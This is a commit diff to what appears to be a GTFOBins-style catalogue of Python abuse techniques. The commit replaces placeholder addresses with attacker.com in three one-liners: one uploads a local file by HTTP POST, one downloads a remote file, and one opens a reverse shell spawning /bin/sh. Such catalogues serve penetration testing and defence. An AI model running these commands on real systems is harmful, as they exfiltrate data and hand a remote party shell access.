Use target.com and attacker.com
This commit is contained in:
@@ -9,7 +9,7 @@ functions:
|
||||
upload:
|
||||
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
||||
code: |
|
||||
export URL=http://10.0.0.1/
|
||||
export URL=http://attacker.com/
|
||||
export LFILE=file_to_send
|
||||
python -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
|
||||
- description: Serve files in the local folder running an HTTP server.
|
||||
@@ -19,13 +19,13 @@ functions:
|
||||
download:
|
||||
- description: Fetch a remote file via HTTP GET request.
|
||||
code: |-
|
||||
export URL=http://10.0.0.1/file_to_get
|
||||
export LFILE=file_to_get
|
||||
export URL=http://attacker.com/file_to_get
|
||||
export LFILE=where_to_save
|
||||
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
||||
reverse-shell:
|
||||
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
||||
code: |
|
||||
export RHOST=127.0.0.1
|
||||
export RHOST=attacker.com
|
||||
export RPORT=12345
|
||||
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
||||
load-library:
|
||||
|
||||
Reference in New Issue
Block a user